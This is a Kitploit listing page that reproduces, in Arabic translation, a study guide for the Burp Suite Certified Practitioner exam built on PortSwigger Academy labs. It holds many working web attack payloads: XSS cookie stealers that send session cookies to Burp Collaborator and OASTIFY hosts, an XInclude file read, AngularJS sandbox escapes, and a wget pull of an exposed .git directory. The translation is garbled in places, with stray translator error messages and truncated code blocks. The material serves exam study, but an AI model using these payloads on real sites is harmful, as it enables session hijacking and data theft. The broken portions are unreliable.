Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Burp-Suite-Certified-Practitioner-Exam-Study — ملاحظات دراسية عملية وأدلة تطبيقية لمختبرات PortSwigger Academy، تغطي ثغرات الويب والحمولات والتعداد واستراتيجيات امتحان BSCP. | Kitploit
أدوات/GitHubGitHub/botesjuan/burp-suite-certified-practitioner-exam-study
تحليل الثغرات الأمنيةاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراقالتعلم والتعليمموارد منسقةتطوير الحمولاتمسارات ودورات التعلم

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
مختبرات وتدريب عملي
GitHubbotesjuan/burp-suite-certified-practitioner-exam-study

Burp-Suite-Certified-Practitioner-Exam-Study

ملاحظات دراسية عملية وأدلة تطبيقية لمختبرات PortSwigger Academy، تغطي ثغرات الويب والحمولات والتعداد واستراتيجيات امتحان BSCP.

عرض المستودع
1.5k387منذ 4 أيامتمت المراجعة من قبل Kitploit

دراسة امتحان Burp Suite Certified Practitioner

هذه ملاحظاتي الدراسية مع أكثر من 110 مختبراً من مختبرات PortSwigger Academy. استخدمت هذه المختبرات لاجتياز امتحان Burp Suite Certified Practitioner لعام 2023. مؤهلي BSCP.
لمزيد من المعلومات، تفضل بزيارة PortSwigger Academy للحصول على أحدث المواد التعليمية.


المسح - التعداد
المسح الموجّه
مسح الكيانات غير القياسية

توطيد القدم - المرحلة 1
اكتشاف المحتوى
DOM-XSS
XSS - البرمجة النصية عبر المواقع
تسميم ذاكرة التخزين المؤقت للويب
ترويسات المضيف
تهريب طلبات HTTP
القوة الغاشمة
المصادقة

تصعيد الامتيازات - المرحلة 2
CSRF - الاستيلاء على الحساب
إعادة تعيين كلمة المرور
SQLi - حقن SQL
JWT - رموز JSON Web
تلوث النموذج الأولي
اختبار API
التحكم في الوصول
نقاط نهاية GraphQL API
CORS - مشاركة الموارد عبر الأصول

استخراج البيانات - المرحلة 3
XXE - كيانات وحقن XML
SSRF - تزوير الطلبات من جانب الخادم
SSTI - حقن القوالب من جانب الخادم
SSPP - تلوث النموذج الأولي من جانب الخادم
LFI - اجتياز مسار الملف
رفع الملفات
إلغاء التسلسل
حقن أوامر نظام التشغيل

الملحق
سكربتات Python
Payloads
قوائم الكلمات
المسح الموجّه للهدف
المنهجية
محتوى تدريبي إضافي

نصائحي في Burp

أنصح بإجراء أكبر عدد ممكن من تحدي المختبر الغامض لاختبار مهاراتك وتقليل الوقت الذي تستغرقه في تحديد الثغرات، قبل التقدم للامتحان.
كما وجدت أن نصيحة PortSwigger هذه حول إعادة اجتياز امتحانك مفيدة جداً.
شاهد CryptoCat - مراجعة Burp Suite Certified Professional (BSCP) + نصائح وحيل للحصول على نظرة جديدة لامتحان BSCP في 2024.




Buy Me A Coffee

شكراً لدعمكم بفنجان قهوة، \o/

شهادتي في Burp Suite Certified Practitioner.


المسح

يبدأ تعداد تطبيقات الويب بمسح أولي وموجّه في المهام المقيّدة بالوقت.

المسح الموجّه
مسح الكيانات غير القياسية

المسح الموجّه

نظراً لضيق الوقت في المهام أو الامتحان، امسح نقاط الإدخال المحددة لطلبات معينة.

scan-defined-insertion-points

رصد الماسح ثغرة حقن XML في معامل storeId، وأدى ذلك إلى قراءة ملف Carlos السري.```xml <xi:include parse="text" href="file:///home/carlos/secret"/>

root@kitploit:~
>طلب XInclude خارج النطاق، نحتاج إلى DTD مستضاف لقراءة الملف المحلي.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

مختبر PortSwigger: اكتشاف الثغرات بسرعة من خلال الفحص المستهدف

فحص هياكل البيانات غير القياسية

فحص هياكل البيانات غير القياسية باستخدام ميزة Burp لفحص نقطة الإدخال المحددة لنص محدد في الاستجابة أو الطلبات.

scan-selected-insertion-point

حدد الثغرة الأمنية من خلال نتائج ماسح Burp.
في هذه الحالة، باستخدام XSS المحدد، قم بسرقة ملفات تعريف الارتباط الخاصة بالمستخدم المسؤول من خلال صياغة الحمولة في نقطة الإدخال المحددة.``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART

root@kitploit:~
>قم بترميز الأحرف المفتاحية بصيغة URL.  

![admin-cookie-stealer](https://assets.kitploit.com/production/public/readmes/51008/64ba64b0fa7e1681859eb5d76a88f94fb91a78655f1ce768ff8e1b50f3cf57c1/990ac058ff6a9727193848c821acf60a43011fa7ba8dfd967ab6b3dd7f2e0bcb-display-v1.webp)  

>استخدم كوكي مستخدم المسؤول للوصول إلى لوحة الإدارة عن طريق استبداله في جلسة المتصفح الحالية.  

[مختبر PortSwigger: فحص هياكل البيانات غير القياسية](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)  
    
-----

# موطئ قدم  
  
# اكتشاف المحتوى  

>يبدأ تعداد الهدف باختبار Fuzzing لأدلة وملفات الويب. يمكنك إما استخدام أدوات Burp engagement أو خيار اكتشاف المحتوى للعثور على المسارات والملفات المخفية، أو استخدام `FFUF` لتعداد أدلة وملفات الويب. كما أن الاطلاع على `robots.txt` أو `sitemap.xml` قد يكشف عن محتوى.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

أداة مشاركة Burp، اكتشاف المحتوى باستخدام قائمة الكلمات المجمّعة الخاصة بي burp-labs-wordlist كقائمة ملفات مخصصة.

content-discovery.png

افحص فروع مستودع git في النسخة المحلية المُنزّلة، باستخدام أداة git-cola. ثم اختر التراجع عن آخر التزام واستخرج كلمة مرور المسؤول من نافذة الفروقات.``` wget -r https://TARGET.web-security-academy.net/.git/

git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

root@kitploit:~
![git-cola](https://assets.kitploit.com/production/public/readmes/51008/14079c28e5cbbdff33e677924bd48ab71e6afd5a28c04080d37705e6612df983/cfd1fad85dc91fe0115a20bcfbc1a45eabd76e74a1d5d2ccf74dea9d85d85f47-display-v1.webp)  

[مختبر PortSwigger: الإفصاح عن المعلومات في سجل التحكم بالإصدارات](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)  

>افتح دائمًا `source code` للبحث عن أي تعليقات للمطورين تكشف عن ملفات أو مسارات مخفية. المثال أدناه يؤدي إلى [إلغاء تسلسل رمز symphony](#deserialization).  

![DEV code debug comment deserial](https://assets.kitploit.com/production/public/readmes/51008/367ef48f4d29249a7a4d0968b5028357b914e75aba779e99c6b90fa140ec65ce/b382686bbd5c2e87dc23936f0e60830c9f765a8d8f65f8ee4075d3db5d7ec524-display-v1.webp)  
  
-----

## XSS القائم على DOM  

[مؤشرات XSS في DOM](#identify-dom-xss)  
[XSS في DOM المحدد باستخدام DOM Invader](#dom-invader)  
[XSS في DOM عبر AngularJS](#vuln-angularjs)  
[XSS في DOM عبر document.write في select](#doc-write-location-search)  
[XSS في DOM عبر رسائل الويب JSON.parse](#dom-xss-jsonparse-web-messages)  
[XSS في DOM عبر AddEventListener لعنوان JavaScript](#dom-xss-addeventlistener-javascript-url)  
[XSS في DOM عبر AddEventListener لرسالة الإعلانات](#dom-xss-addeventlistener-ads-message)  
[XSS في DOM عبر Eval لسارق الكوكيز المنعكس](#reflected-dom-xss)  
[XSS في DOM عبر كوكيز LastviewedProduct](#dom-xss-lastviewedproduct-cookie)  

### تحديد XSS في DOM  

>تنشأ ثغرات XSS القائمة على DOM عندما تأخذ JavaScript بيانات من مصدر يمكن للمهاجم التحكم فيه، مثل عنوان URL، وتمرر الكود إلى نقطة استقبال (sink) تدعم تنفيذ الكود ديناميكيًا.  
>اختبر الأحرف التي تتيح الهروب من نقطة حقن `source code` باستخدام سلسلة الفازر أدناه.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

راجع الكود المصدري لـتحديد المصادر أو المصارف أو الطرق التي قد تؤدي إلى الاستغلال، وفيما يلي قائمة بأمثلة:

  • document.write()
  • window.location
  • document.cookie
  • eval()
  • document.domain
  • WebSocket()
  • element.src
  • postMessage()
  • setRequestHeader()
  • FileReader.readAsText()
  • ExecuteSql()
  • sessionStorage.setItem()
  • document.evaluate()
  • JSON.parse
  • ng-app
  • URLSearchParams
  • replace()
  • innerHTML
  • location.search
  • addEventListener
  • sanitizeKey()

Dom Invader

باستخدام إضافة Dom Invader وضبط قيمة الكناري (canary) على قيمة مثل domxss، فإنها ستكشف مصارف DOM-XSS التي يمكن استغلالها.

DOM Invader

AngularJS القابل للثغرات

يمكن حقن تعبير AngularJS أدناه في وظيفة البحث عندما تكون الأقواس الزاوية والاقتباسات المزدوجة مشفّرة بـ HTML. يتم تحديد الثغرة بملاحظة أن سلسلة البحث محاطة بتوجيه ng-app وتضمين سكربت /js/angular 1-7-7.js. راجع كود HTML لـتحديد توجيه ng-app الذي يُخبر AngularJS أن هذا هو العنصر الجذر لتطبيق AngularJS.

domxss-on-constructor.png

حمولة مختبر PortSwigger أدناه:```JavaScript {{$on.constructor('alert(1)')()}}

root@kitploit:~
>[حمولة سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) باستخدام `on.constructor` التي يمكن وضعها في iframe، واستضافتها على خادم استغلال، مما يؤدي إلى إرسال ملف تعريف ارتباط جلسة الضحية إلى Burp Collaborator.  
>[ورقة الغش من PortSwigger لمرجع البرمجة النصية عبر المواقع](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

ملاحظة: يجب ألا تحتوي خاصية ملف تعريف ارتباط الجلسة على علامة HttpOnly الآمنة حتى ينجح هجوم XSS.

domxss-on-constructor.png

مختبر PortSwigger: DOM XSS في تعبير AngularJS مع أقواس زاوية وعلامات اقتباس مزدوجة بترميز HTML

z3nsh3ll يقدم شرحًا مفصلاً بشكل مذهل حول ثغرة المُنشئ في هذا المختبر على يوتيوب

البحث في موقع Doc Write

الهدف عرضة لثغرة DOM-XSS في دالة فحص المخزون. يكشف source code أن document.write هو المُستقبَل المستخدم مع location.search مما يسمح لنا بإضافة معامل الاستعلام storeId بقيمة تحتوي على حمولة JavaScript داخل عبارة <select>.

DOM-XSS doc write inside select

قم بإجراء اختبار باستخدام الحمولة أدناه لتحديد الحقن في طلب GET المعدل، باستخدام "> للهروب.```html /product?productId=1&storeId=fuzzer">fuzzer

root@kitploit:~
![get-dom-xss.png](https://assets.kitploit.com/production/public/readmes/51008/37e4c9891b5e47032f2e743dadfe032f683370b76c260e82c4cbe34c76761d0e/68fd6e566e7d66328472586265b05c07698c83300195575bb7be0a7953c3533b-display-v1.webp)  

>DOM XSS [حمولة سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) في نقطة استقبال (sink) عبر `document.write` باستخدام المصدر `location.search` داخل عنصر `<select>`. يمكن إرسال ذلك إلى الضحية عبر خادم الاستغلال داخل `

JSON_parse_web_messages_Exploit_server_Payload.png

في نهاية قيم onload الخاصة بـ iframe توجد "*"، وهذا للإشارة إلى أن الهدف هو أي هدف.

قم بتعيين ملف تعريف ارتباط (cookie) اختباري غير آمن في المتصفح باستخدام DEV tools console لاستخدامه أثناء اختبارات POC XSS
حمولات سرقة ملفات تعريف الارتباط.```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

root@kitploit:~
![JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png](https://assets.kitploit.com/production/public/readmes/51008/00edaa7a2bfeabdf0a3960609fc7468eb1cf4ef7721a422729b8b9f48159aa7e/b61bc029401130a999c8d530bec7b388abf058081cc327abd67c61fb5047d960-display-v1.webp)  

[مختبر PortSwigger: DOM XSS باستخدام web messages و JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)  

>استخدم DOM Invader لتحديد واختبار DOM XSS باستخدام web messages  

![DOM Invader يحدد web messages](https://assets.kitploit.com/production/public/readmes/51008/b403cebcf7416a0b011983a370268c86ff6613654a51d172aedd9513586d0d4d/da80859bbfbed987e5bfbc602ceb8ecb0c45f95ee64ed91af3139af1e21c5838-display-v1.webp)  

>أعد تشغيل post message باستخدام DOM Invader بعد تعديل بيانات JSON.```JSON 
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

DOM Invader إعادة إرسال رسائل الويب

PortSwigger: تحديد DOM XSS باستخدام PortSwigger DOM Invader

DOM XSS AddEventListener JavaScript URL

عند مراجعة source code للصفحة، نحدد استدعاء addeventlistener لرسالة ويب، لكن هناك شرط if يتحقق مما إذا كانت السلسلة تحتوي على http/s.

source-code-web-message-url.png

الحمولة التي يستضيفها خادم الاستغلال أدناه تحتوي على سلسلة https، وتنجح في تجاوز فحص شرط if.```html

root@kitploit:~
![DOM_based_cookie_manipulation.png](https://assets.kitploit.com/production/public/readmes/51008/45bed47194ee65d402c2926c551335ada23f37b144bad8c4d80f67a54fc2d1d4/1cc9923c8daf2c0aedd277d7f6f78184415ef7f176b95e43c531e63fb341f08b-display-v1.webp)  

بمجرد تحديث ملف تعريف الارتباط الخاص بالضحية، يلتقط سجل خادم الاستغلال قيمة ملف تعريف الارتباط السري الخاص بهم.  

>بمساعدة كبيرة من ***ShehmeerAbidRajput***، قمت بتحديث هذا المختبر مع الحمولة الخاصة بسرقة ملفات تعريف الارتباط التي قدمها.  

[مختبر PortSwigger: التلاعب بملفات تعريف الارتباط المستند إلى DOM](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)  
  
-----

## البرمجة النصية عبر المواقع  

[موارد XSS](#xss-resources)  
[تحديد العلامات المسموح بها](#identify-allowed-tags)  
[تجاوز العلامات المحظورة](#bypass-blocked-tags)  
[XSS تعيين البروتوكول](#xss-assign-protocol)  
[العلامات المخصصة غير المحظورة](#custom-tags-not-blocked)  
[OnHashChange](#onhashchange)  
[XSS السلسلة المنعكسة](#reflected-string-xss)  
[سلسلة منعكسة بهروب إضافي](#reflected-string-extra-escape)  
[AngularJS هروب من صندوق الحماية](#angularjs-sandbox-escape)  
[XSS القالب الحرفي](#xss-template-literal)  
[XSS عبر JSON إلى EVAL](#xss-via-json-into-eval)  
[XSS المخزن](#stored-xss)  
[XSS المخزن في DOM](#stored-dom-xss)  
[XSS في رفع SVG](#xss-svg-upload)  
  
### موارد XSS  

>صفحات موارد XSS للبحث عن الحمولات الخاصة بـ **العلامات** و**الأحداث**.   

+ [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [ملاحظات دراسة HackTheBox CPTS حول XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)  

>أداة CSP Evaluator للتحقق من وجود سياسة أمان المحتوى للتخفيف من هجمات XSS. على سبيل المثال، إذا كانت السمة `base-uri` مفقودة، فإن هذه الثغرة ستسمح للمهاجم باستخدام طريقة الاستغلال البديلة الموضحة في [ترقية XSS الذاتي المخزن](#upgrade-stored-self-xss).  

+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)  
  
>عندما يكون الحد الأقصى لطول حقل الإدخال 23 حرفًا فقط، استخدم هذا المورد للحصول على **Tiny XSS Payloads**.  

+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)  

>قم بتعيين ملف تعريف ارتباط اختباري غير آمن في المتصفح باستخدام وحدة تحكم أدوات تطوير المتصفح لاستخدامه أثناء اختبارات POC XSS [حمولات سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md).```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

تحديد الوسوم المسموح بها

حمولات XSS الأساسية لتحديد عناصر التحكم في مرشح أمان التطبيق لمعالجة البيانات المستلمة في طلب HTTP.```html

root@kitploit:~
[No content provided in the INPUT section. Please provide the Markdown text to translate.]```html
"><svg><animatetransform onbegin=alert(1)>

I apologize, but I received no input text to translate. The input section is empty. Please provide the Markdown content for chunk 43, and I will translate it from English to Arabic according to the specified rules.``` <>'"

root@kitploit:~
>قد يؤدي إرسال الحمولات أعلاه إلى رسالة رد، ***"الوسم غير مسموح به"*** بسبب قيام جدار حماية تطبيقات الويب (WAF) بحظر الحقن.
>ثم ***حدد*** الوسوم المسموح بها باستخدام [منهجية PortSwigger Academy](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).  

>أدوات عبر الإنترنت لترميز وفك ترميز URL وBase64  

+ [فك ترميز URL وترميزه](https://www.urldecoder.org/)  
+ [فك ترميز BASE64 وترميزه](https://www.base64encode.org/)  

>يوفر هذا المختبر **منهجية** رائعة لـ ***تحديد*** وسوم HTML والأحداث المسموح بها لصياغة POC XSS.  

>استضف كود **iframe** على خادم الاستغلال وسلّم رابط الاستغلال إلى الضحية.```html

تجاوز الوسوم المحظورة

تعطي ضوابط التطبيق رسالة، "الوسم غير مسموح به" عند إدراج حمولات XSS الأساسية، لكن اكتشف أن ترميز SVG مسموح به باستخدام المنهجية أعلاه. تلتقط هذه الحمولة ملف تعريف الارتباط الخاص بجلستي كإثبات للمفهوم.```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E

root@kitploit:~
>ضع الحمولة أعلاه على خادم الاستغلال وأدخل عنوان URL مع قيمة البحث في ```iframe``` قبل تسليمها إلى الضحية في كتلة التعليمات البرمجية أدناه.```html

svg animatetransform XSS

مختبر PortSwigger: XSS منعكسة مع السماح ببعض وسوم SVG

بروتوكول تعيين XSS

مختبر لاختبار XSS في سياق HTML دون ترميز أي شيء في دالة البحث. باستخدام هذا المختبر لاختبار استغلال البروتوكول القابل للتعيين مع location javascript الذي تم تحديده بواسطة أبحاث PortSwigger حول XSS. في الحمولة يوجد %0a الذي يمثل حرف السطر الجديد ASCII.```html

#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=html
root@kitploit:~
![موقع بروتوكول XSS](https://assets.kitploit.com/production/public/readmes/51008/b956c8c2fbd782fe426a2206be3aa7784eed101c58edbdf2a1cb1a58f2a05d63/d92f66a14a37c5b4341e9fe1d5e097e364089e6ce085e39ef0c44e5e48812fb8-display-v1.webp)  

[مختبر PortSwigger: XSS المنعكسة في سياق HTML بدون ترميز](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)  
  
### الوسوم المخصصة غير محظورة  
  
>يستجيب التطبيق برسالة ***"Tag is not allowed"*** عند محاولة إدراج حمولات XSS، لكن إذا أنشأنا وسمًا مخصصًا، يتم تجاوز الحظر.```html
<xss+id=x>#x';

حدد ما إذا كان الوسم المخصص أعلاه غير محظور في دالة البحث، من خلال ملاحظة الاستجابة. أنشئ الحمولة أدناه لسرقة ملف تعريف ارتباط الجلسة خارج النطاق.```

root@kitploit:~
>**ملاحظة:** الوسم المخصص بالمعرّف ```x```، والذي يحتوي على معالج حدث **onfocus** يُطلق دالة ```document.location```. حرف **HASH** `#` في نهاية عنوان URL يُركّز على هذا العنصر فور تحميل الصفحة، مما يؤدي إلى استدعاء الحمولة. استضف سكربت الحمولة على خادم الاستغلال داخل وسمي ```script```، وأرسله إلى الضحية. فيما يلي نفس الحمولة ولكن بصيغة **URL-encoded**.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

وسم XSS مخصص

مختبر PortSwigger: انعكاس XSS في سياق HTML مع حظر جميع الوسوم باستثناء الوسوم المخصصة

z3nsh3ll - شرح الوسوم المخصصة لهجمات XSS

OnHashChange

يستخدم iframe أدناه حرف HASH # في نهاية URL لتشغيل أداة سرقة ملفات تعريف الارتباط OnHashChange XSS.```JavaScript

root@kitploit:~
>ملاحظة: إذا كان ملف تعريف الارتباط آمنًا مع تفعيل علامة **HttpOnly**، فلا يمكن سرقته باستخدام XSS.  

>حمولة PortSwigger Lab تنفذ الطباعة.```JavaScript

ملاحظة: حدد إصدار jQuery 1.8.2 الضعيف المضمّن في الكود المصدري مع إجراء محدد CSS عند hashchange.

Hashchange

مختبر PortSwigger: DOM XSS في jQuery selector sink باستخدام حدث hashchange

Crypto-Cat: DOM XSS في jQuery selector sink باستخدام حدث hashchange

XSS عبر سلسلة نصية منعكسة

عند إرسال سلسلة بحث ومراجعة الكود المصدري لصفحة نتائج البحث، يتم تحديد متغير السلسلة النصية في JavaScript ليعكس سلسلة البحث tracker.gif في الكود المصدري بمتغير اسمه searchTerms.```html

0 search results for 'fuzzer'


Search
``` ![سلسلة نصية بجافاسكريبت يتم فيها تهريب علامة الاقتباس المفردة والشرطة المائلة للخلف](https://assets.kitploit.com/production/public/readmes/51008/5b9fe5c935404a0d67be444540f2e3e5551704688177c8be60e1b6e4220629a0/eacace6120375cbd27292f7df1a7709a2021fc80bbd04914972252ffc37a97cd-display-v1.webp)

باستخدام حمولة test'payload ولاحظ أن علامة الاقتباس المفردة تتم تهريبها بشرطة مائلة للخلف، مما يمنع الخروج من السلسلة النصية.```JavaScript

root@kitploit:~
>تغيير الحمولة إلى أداة سرقة الكوكيز التي تسلّم رمز الجلسة إلى Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

collaborator يحصل على الكوكيز

عند وضع هذه الحمولة داخل iframe، لا يسمح التطبيق الهدف بتضمينها ويعطي رسالة: refused to connect.

مختبر PortSwigger: XSS المنعكس داخل سلسلة JavaScript مع تهريب علامة الاقتباس المفردة والشرطة المائلة للخلف

في اختبار BSCP، استضف الحمولة أدناه على خادم الاستغلال داخل وسوم <script>، واستعلام البحث أدناه قبل أن يتم ترميزه كـ URL.```

root@kitploit:~
>خادم استغلال يستضيف مصطلح بحث يعكس ثغرةً تُرسل إلى الضحية للحصول على ملف تعريف ارتباط الجلسة الخاص بها.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

أعطى التطبيق رسالة الخطأ Tag is not allowed، وتم تجاوز ذلك باستخدام </ScRiPt >.

تجاوز إضافي للسلسلة المنعكسة

انظر في source code إلى المتغير المسمى searchTerms، وعند إرسال الحمولة fuzzer'payload، لاحظ أن علامة الاقتباس المفردة تم إفلاتها بشرطة مائلة عكسية، ثم أرسل حمولة fuzzer\payload وحدد أن الشرطة المائلة العكسية لم يتم إفلاتها.``` '-alert(1)//

fuzzer';console.log(12345);//

fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//

root@kitploit:~
>باستخدام **شرطة مائلة عكسية** واحدة وعلامة اقتباس مفردة و**فاصلة منقوطة**، نهرب من متغير السلسلة النصية في JavaScript، ثم باستخدام علامات backticks لإحاطة المسار ```document.location```، نسمح لأداة سرقة الكوكيز بتجاوز حماية التطبيق.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

بمساعدة تريفور، حوّلت هذا إلى حمولة سرقة الكوكيز باستخدام back ticks. شكرًا تريفور، هذا شرحه على يوتيوب XSS: سلسلة جافاسكربت مع أقواس زاوية واقتباسات مزدوجة مشفّرة واقتباسات مفردة مهربة

fail-escape

مختبر PortSwigger: XSS منعكسة في سلسلة جافاسكربت مع أقواس زاوية واقتباسات مزدوجة مشفّرة بتنسيق HTML واقتباسات مفردة مُهربة

تجاوز AngularJS Sandbox

تمرين مختبر PortSwigger الخبير باستخدام AngularJS 1.4.4؛ وقد وصلت إصدارات 1.x إلى نهاية عمرها الافتراضي ولم تعد مدعومة.
يستخدم هذا المختبر AngularJS بطريقة غير معتادة حيث لا تتوفر دالة $eval، ولن تتمكن من استخدام أي سلاسل نصية في AngularJS.
الهدف: تنفيذ هجوم XSS يخرج من بيئة الحماية (sandbox) وينفذ الحمولة دون استخدام دالة $eval.

z3nsh3ll - فيديو يوتيوب يقدم شرحًا رائعًا لهذه الـ XSS المنعكسة مع تجاوز AngularJS Sandbox بدون سلاسل نصية

حدد angular.module في شيفرة JavaScript المصدرية:

angularJS-sandbox-escape-identify.png

قيمة المتغير key وهي search تُحقن في JavaScript المُنشأ ديناميكيًا.
لا توجد مشكلة أمنية واضحة هنا. ومع ذلك، يعتمد أمان هذا الكود على كيفية استخدام وحدة التحكم هذه والقيم المستخرجة في الواجهة الخلفية.

تقيّم طريقة $parse تعبير AngularJS $scope.query.

باستخدام & لإضافة زوج مفاتيح وقيم ثانٍ لاختبار الكود الديناميكي المُولّد للحمولة.

angularJS-sandbox-escape-add-2nd-key pair

تغيير اسم القيمة الثانية المضافة إلى expression لتحديد ما إذا تم تقييمها، /?search=key1value&7*7=payload وكانت النتيجة الحسابية 49.

angularJS-sandbox-escape-2nd-key pair-eval

يفشل بناء الحمولة عند استخدام alert() كاسم المفتاح الثاني في كيفية قيام AngularJS بتجميع الكود عبر المحلل (parser).

AngulaJS sandbox - انظر مستندات PortSwigger حول حقن القوالب من جانب العميل (Client-Side template injection)

مرجع PortSwigger CheatSheet لتجاوز Sandbox 1.4.4``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

root@kitploit:~
>حمولة Collaborator ***سارق ملفات تعريف الارتباط***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

قيم ASCII العشرية لكل حرف في سلسلة الحمولة أعلاه، مفصولة بفواصل. يمثل كل رقم قيمة ASCII العشرية للحرف المقابل في سلسلة الحمولة.``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41

root@kitploit:~
>سكربت Python لتحويل أي حمولة إلى قيم عشرية ASCIII:```python
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

python-script-ascii_converter.png

حمولة سرقة الكوكيز في قيمة عشرية ASCII، تعبير AngularJS يتم تشغيله عبر صندوق الحماية، من خطوات حل PortSwigger:

  1. يستخدم الاستغلال toString() لإنشاء سلسلة نصية دون استخدام علامات الاقتباس.
  2. ثم يحصل على النموذج الأولي لـ String ويستبدل دالة charAt لكل سلسلة نصية.
  3. هذا يكسر صندوق الحماية في AngularJS. يسمح بتمرير مصفوفة إلى فلتر orderBy.
  4. عيّن الوسيطة للفلتر باستخدام toString() مرة أخرى لإنشاء سلسلة نصية وخاصية مُنشئ String.
  5. أخيرًا، استخدم طريقة fromCharCode لتوليد حمولتنا عن طريق تحويل أكواد الأحرف إلى مثال الحمولة x=alert(1).
  6. تم استبدال دالة charAt، وسيسمح AngularJS لهذا الكود بالهروب من صندوق الحماية.

angularJS-sandbox-escape-cookie-stealer

مختبر الخبراء من PortSwigger: XSS المنعكس مع الهروب من صندوق حماية AngularJS بدون سلاسل نصية

XSS عبر القالب الحرفي

يتم تحديد القالب الحرفي في JavaScript بواسطة علامات backticks ` المستخدمة لاحتواء السلسلة. في الكود الهدف، نحدد أن سلسلة البحث تنعكس داخل سلسلة القالب الحرفي.``` ${alert(document.cookie)}

root@kitploit:~
![xss template literal](https://assets.kitploit.com/production/public/readmes/51008/6445f64cd3a9618bd2c09bd89188bb0ec08d727310f6f9d2c5810484bdf9face/a14da86dd2b937e702ba9fb0a2975d9963bdcf8128fa39c5e24c36fef51e10ae-display-v1.webp)  
  
>شكرًا لـ ***Adrián Gyurácz***، لتقديمه تجاوزًا رائعًا، حيث فشلت في الحصول على أداة سرقة كوكيز تتجاوز جميع الفلاتر لهذا المختبر.  

>وجد ***Adrián Gyurácz*** المقال البحثي التالي من Portswigger والذي قاد إلى الحل:  
